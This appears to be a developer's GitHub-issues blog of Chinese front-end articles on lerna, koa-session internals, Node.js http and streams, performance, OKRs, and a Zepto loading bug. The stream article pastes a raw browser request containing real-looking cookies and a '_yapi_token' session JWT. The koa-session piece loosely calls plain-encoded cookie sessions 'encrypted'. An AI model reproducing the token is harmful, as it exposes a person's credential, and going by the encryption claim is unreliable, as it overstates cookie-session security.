Code Monkey home page Code Monkey logo

blog's People

Contributors

inuanfeng avatar

Stargazers

 avatar  avatar

Watchers

 avatar

Forkers

canton-jack

blog's Issues

lerna管理前端模块实践

lerna管理前端模块最佳实践

最近在工作中使用了 lerna 进行前端包的管理,效率提升了很多。所以打算总结一下最近几个月使用 lerna 的一些心得。有那些不足的地方,请包涵。

该篇文章主要包括在使用 lerna 的一些注意事项,和使用过程中与其他工具的整合,最终形成的一个最佳实践。

package 的指的是一个可以通过 npm 包管理工具发布的一种目录结构,翻译过来感觉不太适合,所以就用package 来说明吧。

前端开发 package 面临的问题

在最初开开发 package 的时候,还属于一种刀耕火种的阶段。没有什么自动化的工具。发布 package 的时候,都是手动修改版本号。如果 packages 数量不多还可以接受。但是当数量逐渐增多的时候,且这些 packages 之间还有依赖关系的时候,对开发人员来说,就很痛苦了。工作不仅繁琐,而且需要用掉不少时间。

举个例子,如果你要维护两个package。分别为 module-1, module-2。 下面是这两个 package 的依赖关系。

// module-1 package.json
{
    "name": "module-1",
    "version": "1.0.0",
    "dependencies": {
        "module-2": "^1.0.0"
    }
}
//module-2 package.json
{
"name": "module-2",
"version": "1.0.0",
}

在这样的环境下,module-1 是依赖 module-2 的。如果 module-2 有修改,需要发布。那么你的工作有这些。

  1. 修改 module-2 版本号,发布。
  2. 修改 module-1 的依赖关系,修改 module-1 的版本号,发布。

这还仅仅只有两个 package,如果依赖关系更复杂,大家可以想想发布的工作量有多大。

什么是lerna?为什么要使用lerna?

lerna 到底是什么呢?lerna 官网上是这样描述的。

A tool for managing JavaScript projects with multiple packages.

这个介绍可以说很清晰了,引入lerna后,上面提到的问题不仅迎刃而解,更为开发人员提供了一种管理多 packages javascript 项目的方式。

  1. 自动解决packages之间的依赖关系
  2. 通过 git 检测文件改动,自动发布
  3. 根据 git 提交记录,自动生成 CHANGELOG

使用lerna的基本工作流

环境配置

  • Git 在一个 lerna 工程里,是通过 git 来进行代码管理的。所以你首先要确保本地有正确的 git 环境。 如果需要多人协作开发,请先创建正确的 git 中心仓库的链接。 因此需要你了解基本的 git 操作,在此不再赘述。
  • npm 仓库 无论你管理的 package 是要发布到官网还是公司的私有服务器上,都需要正确的仓库地址和用户名。 你可运行下方的命令来检查,本地的 npm registry 地址是否正确。
npm config ls
  • lerna 你需要全局安装 lerna 工具。
npm install lerna -g

初始化一个lerna工程

在这个例子中,我将在我本地根目录下初始化一个lerna工程。

  1. 创建一个空的文件夹,命名为 lerna-demo
mkdir lerna-demo
  1. 初始化
cd lerna-demo
lerna init

执行成功后,目录下将会生成这样的目录结构。

- packages(目录)
 - lerna.json(配置文件)
 - package.json(工程描述文件)
  1. 添加一个测试package

默认情况下,package是放在 packages 目录下的。

// 进入packages目录
cd lerna-demo/packages
// 创建一个packge目录
mkdir module-1
// 进入module-1 package目录
cd module-1
// 初始化一个package
npm init -y

执行完毕,工程下的目录结构如下

--packages
  --module-1
    package.json
--lerna.json
--package.json
  1. 安装各 packages 依赖 这一步操作,官网上是这样描述的。

Bootstrap the packages in the current Lerna repo. Installs all of their dependencies and links any cross-dependencies.

cd lerna-demo
lerna bootstrap

在现在的测试 package 中,module-1 是没有任何依赖的,因此为了更加接近真实情况。你可已在 module-1 的package.json 文件中添加一些第三方库的依赖。 这样的话,当你执行完该条命令后,你会发现 module-1 的依赖已经安装上了。

  1. 发布 在发布的时候,就需要 git 工具的配合了。 所以在发布之前,请确认此时该 lerna 工程是否已经连接到git 的远程仓库。你可以执行下面的命令进行查看。
git remote -v
// print log
origin  [email protected]/iNuanfeng/lerna-demo.git (fetch)
origin  [email protected]/iNuanfeng/lerna-demo.git (push)

本篇文章的代码托管在 Github 上。因此会显示此远程链接信息。 如果你还没有与远程仓库链接,请首先在 github 创建一个空的仓库,然后根据相关提示信息,进行链接。

lerna publish

执行这条命令,你就可以根据cmd中的提示,一步步的发布packges了。实际上在执行该条命令的时候,lerna会做很多的工作。

-  Run the equivalent of  `lerna updated`  to determine which packages need to be published.
 -  If necessary, increment the  `version`  key in  `lerna.json`.
 -  Update the  `package.json`  of all updated packages to their new versions.
 -  Update all dependencies of the updated packages with the new versions, specified with a  [caret (^)](https://docs.npmjs.com/files/package.json#dependencies).
 -  Create a new git commit and tag for the new version.
 -  Publish updated packages to npm.

到这里为止,就是一个最简单的lerna的工作流了。但是lerna还有更多的功能等待你去发掘。 lerna有两种工作模式,Independent mode和 Fixed/Locked mode,在这里介绍可能会对初学者造成困扰,但因为实在太重要了,还是有必要提一下的。 lerna的默认模式是 Fixed/Locked mode,在这种模式下,实际上 lerna 是把工程当作一个整体来对待。每次发布 packges,都是全量发布,无论是否修改。但是在 Independent mode 下,lerna 会配合Git,检查文件变动,只发布有改动的packge。

lerna最佳实践

为了能够使 lerna 发挥最大的作用,根据这段时间使用 lerna 的经验,总结出一个最佳实践。下面是一些特性。

  1. 采用 Independent 模式
  2. 根据 Git 提交信息,自动生成 changelog
  3. eslint 规则检查
  4. prettier 自动格式化代码
  5. 提交代码,代码检查 hook
  6. 遵循 semver 版本规范

大家应该也可以看出来,在开发这种工程的过程的,最为重要的一点就是规范。因为应用场景各种各样,你必须保证发布的 packge 是规范的,代码是规范的,一切都是有迹可循的。这点我认为是非常重要的。github代码

从koa-session源码解读session本质

前言

Session,又称为“会话控制”,存储特定用户会话所需的属性及配置信息。存于服务器,在整个用户会话中一直存在。

然而:

  • session 到底是什么?
  • session 是存在服务器内存里,还是web服务器原生支持?
  • http请求是无状态的,为什么每次服务器能取到你的 session 呢?
  • 关闭浏览器会过期吗?

本文将从 koa-session(koa官方维护的session中间件) 的源码详细解读 session 的机制原理。希望大家读完后,会对 session 的本质,以及 session 和 cookie 的区别有个更清晰的认识。

基础知识

相信大家都知道一些关于 cookie 和 session 的概念,最通常的解释是 cookie 存于浏览器,session 存于服务器。

cookie 是由浏览器支持,并且http请求会在请求头中携带 cookie 给服务器。也就是说,浏览器每次访问页面,服务器都能获取到这次访问者的 cookie 。

但对于 session 存在服务器哪里,以及服务器是通过什么对应到本次访问者的 session ,其实问过一些后端同学,解释得也都比较模糊。因为一般都是服务框架自带就有这功能,都是直接用。背后的原理是什么,并不一定会去关注。

如果我们使用过koa框架,就知道koa自身是无法使用 session 的,这就似乎说明了 session 并不是服务器原生支持,必须由 koa-session 中间件去支持实现。

那它到底是怎么个实现机制呢,接下来我们就进入源码解读。

源码解读

koa-session:https://github.com/koajs/session

建议感兴趣的同学可以下载代码先看一眼

解读过程中贴出的代码,部分有精简

koa-session结构

来看 koa-session 的目录结构,非常简单;主要逻辑集中在 context.js 。

├── index.js    // 入口
├── lib
│   ├── context.js
│   ├── session.js
│   └── util.js
└── package.json

先给出一个 koa-session 主要模块的脑图,可以先看个大概:

屡一下流程

我们从 koa-session 的初始化,来一步步看下它的执行流程:

先看下 koa-sessin 的使用方法:

const session = require('koa-session');
const Koa = require('koa');
const app = new Koa();

app.keys = ['some secret hurr'];
const CONFIG = {
  key: 'koa:sess',  // 默认值,自定义cookie中的key
  maxAge: 86400000
};

app.use(session(CONFIG, app));  // 初始化koa-session中间件

app.use(ctx => {
  let n = ctx.session.views || 0;   // 每次都可以取到当前用户的session
  ctx.session.views = ++n;
  ctx.body = n + ' views';
});

app.listen(3000);

初始化

初始化 koa-session 时,会要求传入一个app实例。

实际上,正是在初始化的时候,往 app.context 上挂载了session对象,并且 session 对象是由 lib/context.js 实例化而来,所以我们使用的 ctx.session 就是 koa-session 自己构造的一个类。

我们打开koa-session/index.js

module.exports = function(opts, app) {
  opts = formatOpts(opts);  // 格式化配置项,设置一些默认值
  extendContext(app.context, opts); // 划重点,给 app.ctx 定义了 session对象

  return async function session(ctx, next) {
    const sess = ctx[CONTEXT_SESSION];
    if (sess.store) await sess.initFromExternal();
    await next();
    if (opts.autoCommit) {
      await sess.commit();
    }
  };
};

通过内部的一次初始化,返回一个koa中间件函数。

一步一步的来看,formatOpts 是用来做一些默认参数处理,extendContext 的主要任务是对 ctx 做一个拦截器,如下:

function extendContext(context, opts) {
  Object.defineProperties(context, {
    [CONTEXT_SESSION]: {
      get() {
        if (this[_CONTEXT_SESSION]) return this[_CONTEXT_SESSION];
        this[_CONTEXT_SESSION] = new ContextSession(this, opts);
        return this[_CONTEXT_SESSION];
      },
    },
    session: {
      get() {
        return this[CONTEXT_SESSION].get();
      },
      set(val) {
        this[CONTEXT_SESSION].set(val);
      },
      configurable: true,
    }
  });
}

走到上面这段代码时,事实上就是给 app.context 下挂载了一个“私有”的 ContextSession 对象 ctx[CONTEXT_SESSION] ,有一些方法用来初始化它(如initFromExternal、initFromCookie)。然后又挂载了一个“公共”的 session 对象。

为什么说到“私有”、“公共”呢,这里比较细节。用到了 Symbol 类型,使得外部不可访问到 ctx[CONTEXT_SESSION] 。只通过 ctx.session 对外暴露了 (get/set) 方法。

再来看下 index.js 导出的中间件函数

return async function session(ctx, next) {
  const sess = ctx[CONTEXT_SESSION];
  if (sess.store) await sess.initFromExternal();
  await next();
  if (opts.autoCommit) {
    await sess.commit();
  }
};

这里,将 ctx[CONTEXT_SESSION] 实例赋值给了 sess ,然后根据是否有 opts.store ,调用了 sess.initFromExternal ,字面意思是每次经过中间件,都会去调一个外部的东西来初始化 session ,我们后面会提到。

接着看是执行了如下代码,也即执行我们的业务逻辑。

await next()

然后就是下面这个了,看样子应该是类似保存 session 的操作。

sess.commit();

经过上面的代码分析,我们看到了 koa-session 中间件的主流程以及保存操作。

那么 session 在什么时候被创建呢?回到上面提到的拦截器 extendContext ,它会在接到http请求的时候,从 ContextSession类 实例化出 session 对象。

也就是说,session 是中间件自己创建并管理的,并非由web服务器产生。

我们接着看核心功能 ContextSession

ContextSession类

先看构造函数:

constructor(ctx, opts) {
  this.ctx = ctx;
  this.app = ctx.app;
  this.opts = Object.assign({}, opts);
  this.store = this.opts.ContextStore ? new this.opts.ContextStore(ctx) : this.opts.store;
}

居然啥屁事都没干。往下看 get() 方法:

get() {
  const session = this.session;
  // already retrieved
  if (session) return session;
  
  // unset
  if (session === false) return null;

  // cookie session store
  if (!this.store) this.initFromCookie();
  return this.session;
}

噢,原来是一个单例模式(等到使用时候再生成对象,多次调用会直接使用第一次的对象)。

这里有个判断,是否传入了 opts.store 参数,如果没有则是用 initFromCookie() 来生成 session 对象。

那如果传了 opts.store 呢,又啥都不干吗,WTF?

显然不是,还记得初始化里提到的那句 initFromExternal 函数调用么。

if (sess.store) await sess.initFromExternal();

所以,这里是根据是否有 opts.store ,来选择两种方式不同的生成 session 方式。

问:store是什么呢?

答:store可以在initFromExternal中看到,它其实是一个外部存储。

问:什么外部存储,存哪里的?

答:同学莫急,先往后看。

initFromCookie
initFromCookie() {
  const ctx = this.ctx;
  const opts = this.opts;

  const cookie = ctx.cookies.get(opts.key, opts);
  if (!cookie) {  
    this.create();
    return;
  }

  let json = opts.decode(cookie); // 打印json的话,会发现居然就是你的session对象!

  if (!this.valid(json)) {  // 判断cookie过期等
    this.create();
    return;
  }

  this.create(json);
}

在这里,我们发现了一个很重要的信息,session 居然是加密后直接存在 cookie 中的。

我们 console.log 一下 json 变量,来验证下:

initFromeExternal
async initFromExternal() {
  const ctx = this.ctx;
  const opts = this.opts;

  let externalKey;
  if (opts.externalKey) {
    externalKey = opts.externalKey.get(ctx);
  } else {
    externalKey = ctx.cookies.get(opts.key, opts);
  }


  if (!externalKey) {
    // create a new `externalKey`
    this.create();
    return;
  }

  const json = await this.store.get(externalKey, opts.maxAge, { rolling: opts.rolling });
  if (!this.valid(json, externalKey)) {
    // create a new `externalKey`
    this.create();
    return;
  }

  // create with original `externalKey`
  this.create(json, externalKey);
}

可以看到 store.get() ,有一串信息是存在 store 中,可以 get 到的。

而且也是在不断地要求调用 create()

create

create()到底做了什么呢?

create(val, externalKey) {
  if (this.store) this.externalKey = externalKey || this.opts.genid();
  this.session = new Session(this, val);
}

它判断了 store ,如果有 store ,就会设置上 externalKey ,或者生成一个随机id。

基本可以看出,是在 sotre 中存储一些信息,并且可以通过 externalKey 去用来获取。

由此基本得出推断,session 并不是服务器原生支持,而是由web服务程序自己创建管理。

存放在哪里呢?不一定要在服务器,可以像 koa-session 一样*气地放在 cookie 中!

接着看最后一个 Session 类。

Session类

老规矩,先看构造函数:

constructor(sessionContext, obj) {
  this._sessCtx = sessionContext;
  this._ctx = sessionContext.ctx;
  if (!obj) {
    this.isNew = true;
  } else {
    for (const k in obj) {
      // restore maxAge from store
      if (k === '_maxAge') this._ctx.sessionOptions.maxAge = obj._maxAge;
      else if (k === '_session') this._ctx.sessionOptions.maxAge = 'session';
      else this[k] = obj[k];
    }
  }
}

接收了 ContextSession 实例传来 sessionContext 和 obj ,其他没有做什么。

Session 类仅仅是用于存储 session 的值,以及_maxAge,并且提供了toJSON方法用来获取过滤了_maxAge等字段的,session对象的值。

session如何持久化保存

看完以上代码,我们大致知道了 session 可以从外部或者 cookie 中取值,那它是如何保存的呢,我们回到 koa-session/index.js 中提到的 commit 方法,可以看到:

await next();

if (opts.autoCommit) {
  await sess.commit();
}

思路立马就清晰了,它是在中间件结束 next() 后,进行了一次 commit()

commit()方法,可以在 lib/context.js 中找到:

async commit() {
  // ...省略n个判断,包括是否有变更,是否需要删除session等

  await this.save(changed);
}

再来看save()方法:

async save(changed) {
  const opts = this.opts;
  const key = opts.key;
  const externalKey = this.externalKey;
  let json = this.session.toJSON();

  // save to external store
  if (externalKey) {
    await this.store.set(externalKey, json, maxAge, {
      changed,
      rolling: opts.rolling,
    });
    if (opts.externalKey) {
      opts.externalKey.set(this.ctx, externalKey);
    } else {
      this.ctx.cookies.set(key, externalKey, opts);
    }
    return;
  }

  json = opts.encode(json);

  this.ctx.cookies.set(key, json, opts);
}

豁然开朗了,实际就是默认把数据 json ,塞进了 cookie ,即 cookie 来存储加密后的 session 信息。

然后,如果设置了外部 store ,会调用 store.set() 去保存 session 。具体的保存逻辑,保存到哪里,由 store 对象自己决定!

小结

koa-session 的做法说明了,session 仅仅是一个对象信息,可以存到 cookie ,也可以存到任何地方(如内存,数据库)。存到哪,可以开发者自己决定,只要实现一个 store 对象,提供 set,get 方法即可。

延伸扩展

通过以上源码分析,我们已经得到了我们文章开头那些疑问的答案。

koa-session 中还有哪些值得我们思考呢?

插件设计

不得不说,store 的插件式设计非常优秀。koa-session 不必关心数据具体是如何存储的,只要插件提供它所需的存取方法。

这种插件式架构,反转了模块间的依赖关系,使得 koa-session 非常容易扩展。

koa-session对安全的考虑

这种默认把用户信息存储在 cookie 中的方式,始终是不安全的。

所以,现在我们知道使用的时候要做一些其他措施了。比如实现自己的 store ,把 session 存到 redis 等。

这种session的登录方式,和token有什么区别呢

这其实要从 token 的使用方式来说了,用途会更灵活,这里就先不多说了。

后面会写一下各种登录策略的原理和比较,有兴趣的同学可以关注我一下。

总结

回顾下文章开头的几个问题,我们已经有了明确的答案。

  • session 是一个概念,是一个数据对象,用来存储访问者的信息。
  • session 的存储方式由开发者自己定义,可存于内存,redis,mysql,甚至是 cookie 中。
  • 用户第一次访问的时候,我们就会给用户创建一个他的 session ,并在 cookie 中塞一个他的 “钥匙key” 。所以即使 http请求 是无状态的,但通过 cookie 我们就可以拿到访问者的 “钥匙key” ,便可以从所有访问者的 session 集合中取出对应访问者的 session。
  • 关闭浏览器,服务端的 session 是不会马上过期的。session 中间件自己实现了一套管理方式,当访问间隔超过 maxAge 的时候,session 便会失效。

那么除了 koa-session 这种方式来实现用户登录,还有其他方法吗?

其实还有很多,可以存储 cookie 实现,也可以用 token 方式。另外关于登录还有单点登录,第三方登录等。如果大家有兴趣,可以在后面的文章继续给大家剖析。

Node.js:深入浅出 http 与 stream

原文链接:#4

前言

stream(流)是Node.js提供的又一个仅在服务区端可用的模块,流是一种抽象的数据结构。Stream 是一个抽象接口,Node 中有很多对象实现了这个接口。例如,对http 服务器发起请求的request 对象就是一个 Stream,还有stdout(标准输出流)。

通过本文,你会知道 stream 是什么,以及 strem 在 http 服务中发挥着什么作用。

一、stream(流)是什么

1.1 举个栗子

假设楼上有一桶水,想倒往楼下的水桶。直接往下倒,肯定会洒出来,那么在两个水桶间加一根管子(pipe),就可以让楼上的水,逐渐地流到楼下的水桶内:

1.2 为什么要使用 stream

看了前面稍微了解 Node.js 的同学可能就要问了,流的作用不就是传递数据麽,也就是把一个地方数据拷贝到另一个地方,不用流也可以这样实现:

var water = fs.readFileSync('a.txt', {encoding: 'utf8'});
fs.writeFileSync('b.txt', water);

但这样做有个致命问题:

处理数据量较大的文件时不能分块处理,导致速度慢,内存容易爆满。

const rs = fs.createReadStream('a.mp4')
const ws = fs.createWriteStream('b.mp4')
rs.pipe(ws) // pipe自动调用了 data, end 等事件

1.3 小结

其实 stream 不仅可以用来处理文件,它可以处理任何一种数据提供源。下面来看看 stream 在 http 服务中,扮演着什么样的角色。

二、深入 http 模块

先来几个灵魂拷问:

  • 浏览器发起 http 请求,它属于流吗?
  • Node.js 的 Koa 框架,是基于流的吗?
  • 接口转发时,能用流来处理吗?

下面一步步来深入了解 Node.js 的 http 服务。

2.1 Nodejs 中的 http 模块

Node 可以不需要 Apache、Nginx、IIS,自身就可以搭建可靠的 http 服务。

创建一个简单的 http 服务:

const http = require('http');

const server = http.createServer(function (req, res) {
  res.writeHead(200, {
    "Content-Type": "text/html;charset=UTF-8"
  })
  res.end("欢迎来到推啊!!!")
})

server.listen(3000, function () {
  console.log('listening port 3000')
})

2.2 http.createServer 发生了什么?

Node 是如何监听 http 请求的,内部的处理机制是什么。

http.createServer() 方法返回的是 http 模块封装的一个基于事件的 http 服务器。

http.createServer() 封装了 http.Server()

const http = require('http');
const server = new http.Server();

server.on('request', function (req, res) {
  res.writeHead(200, {
    "Content-Type": "text/html;charset=UTF-8"
  })
  res.end("欢迎来到推啊!!!")
})

server.listen(3000, function () {
  console.log('listening port 3000');
});

Koa 框架的本质是在 http 模块的上层,封装了自己的 ctx 对象,以及实现了洋葱模型的中间件体系。

2.3 进一步了解 http 模块

Node.js 中的 HTTP 接口旨在支持传统上难以使用的协议的许多特性。 特别是,大块的、可能块编码的消息。 接口永远不会缓冲整个请求或响应,用户能够流式传输数据。

为了支持所有可能的 HTTP 应用程序,Node.js 的 HTTP API 都非常底层。 它仅进行流处理和消息解析。

http.Server() 是基于事件的,主要事件有:

  • request:最常用的事件,当客户端请求到来时,该事件被触发,提供req和res参数,表示请求和响应信息。
  • connection:当Tcp连接建立时,该事件被触发,提供一个socket参数,是 net.Socket 的实例。
  • close

那么,http 模块是如何监听获取浏览器发来的请求呢?

这就需要进一步看看 Node.js 中,http 模块是如何实现的了。

2.4 http 的下层:net 模块

http.Server 继承自: <net.Server>

net 模块用于创建基于流的 TCP 或 IPC 的服务器(net.createServer())与客户端(net.createConnection())

创建 TCP 服务:

const net = require('net');
const server = net.createServer((c) => {
  // 'connection' 监听器。
  console.log('客户端已连接');
  c.on('end', () => {
    console.log('客户端已断开连接');
  });
  c.write('你好\r\n');
  c.pipe(c);
});
server.on('error', (err) => {
  throw err;
});
server.listen(8124, () => {
  console.log('服务器已启动');
});

telnet 进行测试:

需要注意的是,net 模块创建出来的是一个 TCP 服务,而它监听接受到的数据,是一个 stream(流)

net 模块接收到的内容是没法直接打印的,需要通过 strema 的方式来处理。

下面代码接受并打印浏览器请求:

const net = require('net');
const fs = require('fs');

const server = net.createServer((c) => {
  let stream = fs.createWriteStream('test.txt');
  c.pipe(stream).on('finish', () => {
    console.log('Done');
  });
  c.on('error', (err) => {
    console.log(err);
  });
})

server.listen('4000', () => {
  console.log('服务器已启动');
});

在浏览器输入 localhost:4000 后,在服务端目录下生成 test.txt 文件:

GET / HTTP/1.1
Host: localhost:4000
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,ko;q=0.6
Cookie: UM_distinctid=16e3ab5c769669-0aa68fde01b9b3-37647e05-13c680-16e3ab5c76a1ec; _9755xjdesxxd_=32; gdxidpyhxdE=6EK5fbKotSpp2Uiam1adlQW2uSUV%2FlvMMzX0Lo2iqcBIdSnV4Gf2CIYG2LZevagi2DhNAVlVmPjg4WyCs0EXamAO%2B3tQHgmnyrEj14hrmaV6Ev2MHAdWnIR9giTvXoIlRicy1MhUZ007j%5C%5C84xvU4PmLl0sEbHlkQ4Tvefuj9Ri%2B6D%2FZ%3A1574856606158; YD00636840014594%3AWM_NI=dKC1nbSYkvmP3bFoHMIDoTTp82bhdKlE9PKhaaJmK%2FO5hJLvRckcK9ONax49iBl7ML0AK8sRz90Qd%2Bexn2ABVSxcFOebaImloWcpuWVLQ8eRrrbgDEaIMdym983xRZqnV1c%3D; YD00636840014594%3AWM_NIKE=9ca17ae2e6ffcda170e2e6eeafd83a8aea9dd7ed5ca9b88ba3d44a828e8faaf23d8ab3ff9bec7c86b7a7d0b12af0fea7c3b92aa8958dd2ed6a9187a597f05cf1be8a90cb478b9ca1b5d77cfceeae89e741b09bf7b1ca64a3bf868eca258deba8abcf7e92bda584ca338d92af99b733ab9ea4d8d048f49f85d9f25abae700b2e721a7a8a2d3c44a968db884c545a7beafaaf068ad89ad91f85d96949fd9e85ab2aeae88c74fa3978385fc67fbe8fd99d152b3b29ad2e237e2a3; YD00636840014594%3AWM_TID=PZ3AtyPUGXFABQFEABZp7I3hmitUyn7z; CNZZDATA1278176396=591860064-1572943020-%7C1574943751; _yapi_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjI4LCJpYXQiOjE1NzY0NjQzMjIsImV4cCI6MTU3NzA2OTEyMn0.EEdBvJMRnnu2-_qli_Jqc2D6CtxocEzZjEz_hWv4qEk; _yapi_uid=28

2.5 http 服务的完整链路

梳理一下 http 服务的整个调用链路:

  1. Nodejs 创建 http 服务,内部其实是继承了 net.Server 模块。
  2. net 模块内部实际上是使用了 TCP 和 Stream 模块,绑定 TCP 端口后,将数据以流的形式,通过 connection 事件回调给 http 模块。
  3. http 模块接收到 stream 后,调用 httpParser 解析,回调给 request 事件。

  • net 模块主要做的事情,就是启动 TCP 服务,将监听到的请求信息,通过 connection 回调给 http 模块。
  • http 模块主要做的就是在 connection 回调中解析报文数据,然后触发业务中的 request 回调,提供给开发者使用。

三、应用中的 stream

在深入了解 http 模块内部的基本原理后,可以想想我们在应用场景中,可以利用 stream(流)做到哪些事情

可以尝试自己实现一下平时接触到的一些应用,如:

  • http-proxy-middleware转发中间件
  • 大文件流式上传服务
  • 流媒体播放服务
  • ......

前端性能优化大纲

最近在给推啊的互动小游戏做大盘的一个性能优化,借此体系化地整理一下一些前端性能优化的基本概念和进阶手段。

推啊其实应该是对h5性能要求极其高的业务,我们的场景主要是互动小游戏,投放于各个top APP,对性能要求严苛,特别是弱网环境下的用户体验。

基本优化篇先,介绍基本准则。

页面加载时序,资源优先级,http2,阻塞,渲染时机,背景图。

预加载

首屏渲染提速,弹层交互白屏,预加载后续资源,dns,懒加载不重要资源

首屏

体积,提取首屏资源预加载,loading,骨架屏,内联样式

缓存

介绍cdn缓存,离线缓存应用,webview缓存,离线缓存更新机智,第三方微信缓存的处理,数据识别

webp

介绍,自己实现,cdn支持,如何加载,css背景图的处理,img的处理,异步资源的处理封装,webpack插件

图片相关

gif压缩,png压缩,jpg压缩,tinypng,进阶式图片压缩工具工程化,服务端压缩工具应用

雪碧图

原理,工程化,webpack插件原理,服务端配置图的雪碧图,base64的选择

webpack相关

webpack对js的压缩,分包,runtime,webpackjsonp问题内联,路由及分模块

服务端渲染

非js语言,js语言,框架ssr,预渲染puppeteer,预渲染变种,约定处理,重复渲染处理,框架的处理,原理

大型网站的性能优化

基于浏览器的原理

浏览器内核分析,重绘触发,对性能的影响

svga动画,svg使用,帧动画,css3性能

执行性能

动画,js,webworker,wasm简单介绍

webpack构建性能,工程部署性能

前端框架的性能优化,长列表页面优化等等

node性能简单介绍,注意事项等

v8引擎原理,内核,性能分析,举例子

高并发流量处理,亿级数据查询,分表,读写分估离,队列,node适用场景

vue,react同构的问题

弱网降级特效方案

技术如何用 OKR 做目标管理(简)

技术如何用 OKR 做目标管理(简)

OKR 介绍

OKR(Objectives and Key Results),目标与关键成果工作法。
OKR 分为目标 O 和 关键成果 KR,O 是目标代表目的地,KR 是关键成果代表里程碑。

为什么要用 OKR?

  1. OKR 使方向更加聚焦;(减少 O 的数量,聚焦到重要目标上)
  2. OKR 使沟通更加透明

   image.png

  1. OKR 表现成长和认可;

执行方法

  • 制定OKR —— 执行 —— 评分 —— 复盘

OKR、KPI、OA绩效的差别

  • OKR更聚焦目标,团队知道公司的方向,主动制定自己的OKR来向上对齐;
  • KPI只有自上而下,没有向上对齐,团队被动完成公司分配的KPI,不关注真实目标;
  • KPI直接影响绩效奖金,OKR不直接关联绩效,OKR强调挑战目标,从而获得成长和晋升;


OKR可以分为业务目标、技术目标、个人成长目标;
OA打分时,OKR的完成度作为参考,更关注你的过程和成长;

OKR自评

简化的自评标准

1.0 分:不可能做到,但实际做到了。
0.7 分:希望能做到,实际也做到了。
0.3 分:肯定能做到,实际也做到了。
0 分:肯定能做到,但实际没做到。

OKR复盘

  1. 审视目标:为何当初你要制定这样的目标,而不是其他目标?你所制定的目标现在达成了吗?如果没达成,现实和预期之间的差距之处在哪里呢?
  2. 回顾过程:就整个目标的执行过程而言,你是如何执行的?你大致分为几个阶段去执行?每个阶段中发生了哪些重要事件?
  3. 分析得失:在这次实施 OKR 周期中,哪些方面你做得很好?为什么好?哪些方面你做得不好?为什么不好?
  4. 总结规律:如果再次做同类事情,你会怎么去做?通过这次交流,对我们开展后续的工作有何指导?我们收获了哪些规律、原则、方法论?

$ 不见了

背景

天眼(前端监控系统)有一条异常信息每天“长居榜首”:Uncaught ReferenceError: $ is not defined

image.pngimg

这条报错信息,从字面意义上来看,很简单:$ 变量未定义,即:访问 Zepto 全局变量失败,但是上报频率太过于频繁了,且长期未得到解决,而引起关注。

诸如此类的报错还有:

排查

初步判断:程序代码中访问 $ 报错,多半是程序初始化时 window.$ 挂载失败导致

带着初步结论,在天眼上查看 报错详情,依托于 sourceMap 的功能,可以定位到源码报错的位置,如下图代码:

image.png

代码第 7 行,调用 $(() => {...}) 时报错,也印证了最初的设想,由于发生在页面初始化阶段,这样的报错会直接导致页面打不开,所以这是不得不优先解决的问题!!

切记:

排查问题的第一步永远是: 还原现场

排查问题的第一步永远是: 还原现场

排查问题的第一步永远是: 还原现场

然而,“问题果然没有这么简单”,死活复现不了...,所以,只能(纯)(属)(瞎)(猜):

问题聚焦:究竟是在什么情况下会导致 window.$ 挂载失败?

在真正开始排查这个问题之前,首先得了解关于 window.$ 的以下两点疑问:

  • 从代码维度来看,Zepto 模块是在哪里被引入的?
  • 从页面维度来看,Zepto 模块是在哪里被加载的?

找到 window.$ 最初被挂载的地方?如下:

// units/business/base/index.js
import 'units/basics/polyfill'
import 'units/basics/zepto' // 引入 zepto 模块,即 window.$ 赋值
import 'units/basics/statistics'
import 'units/basics/zepto-cookie'
import { downloadApp } from 'units/bussiness/download

了解 html 页面载入 Zepto 相关代码?如下:

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>活动</title>
</head>
<body>
    <div id="db-content">hello world</div>
  <!-- 公共模块,包含 Zepto -->
    <script type="text/javascript" src="//yun.tuisnake.com/h5-mami/dist/public.b175aded3eef219d95b4.js" crossorigin="anonymous"
></script>
    <!-- 业务代码,入口 -->
    <script type="text/javascript" src="//yun.tuisnake.com/h5-mami/dist/activity-turnCard-v2-entry.6515b41ce7de327a4289.js" crossorigin="anonymous"
></script>
</body>
</html>

总结:

  • zepto 作为公共模块会被单独打包到 public.js 中,与活动业务代码 entry.js 分离
  • 页面会先加载公共代码 public.js,再加载业务代码 entry.js,前后加载顺序保证了代码执行时的依赖关系。

也就是说, entry.js 在调用 public.js 中的 window.$ 时,发现 window.$ 不对而报错,于是对于排查原因而言,就会有一些设想:

  1. public.js 在执行 Zepto 模块代码之前,有代码异常报(如:兼容性),导致 window.$ 注入失败
  2. window.$ 会不会在某个时刻又被被重新赋值了(如:undefined),导致不可用

题外话一个不靠谱的假想:

public.js 和 entry.js 是并行加载的,执行的顺序不确定(这是错误的)❌

加载的确是并行的,执行顺序还是取决于 script 标签的加载顺序(除非设置了 defer 或 async 属性)

✔️

设想一

原因:由于 public.js 和 entry.js 一前一后分开加载的,所以如果 public.js 在执行 zepto 代码之前报错了,entry.js 也会照常执行,只不过执行时会报错罢了。

基于这样的设想,就只需要观察同一个活动(如:turnCard_v2_vm)在同一时段内(如:一个小时内),是否有关于 public.js 引发的错误?

结果是:public.js 的确是有一些报错,但是从错误量级来看,这并不是导致 $ is not defined 大量报错的根本原因!

所以:该设想不能从根本上解决不了当前问题,但是也的确说明了有这方面问题,只是比较少量。

设想二

原因:由于报错是偶发性,会不会存在异步加载(如:插件)的代码,不小心对 window.$ 进行了误操作?从而导致有些时候代码报错。

基于这样的设想,只能去仔细阅读一个活动加载过程中,所需要执行的的所有代码。

结果是:不存在这样的代码。

所以:这个设想也不成立,但是全局变量的使用着实让人不放心!使用 模块化 + externals Zepto 会不会更好点?!

不经感慨,排查哪有那么容易:

按照正常的排查思路,到这里基本就断了线索!且暂时是没有更好的方向.. 有的大概只剩下 “决心” 了吧.. (呵呵呵 🙄)

然而,突如其来的喜出望外..

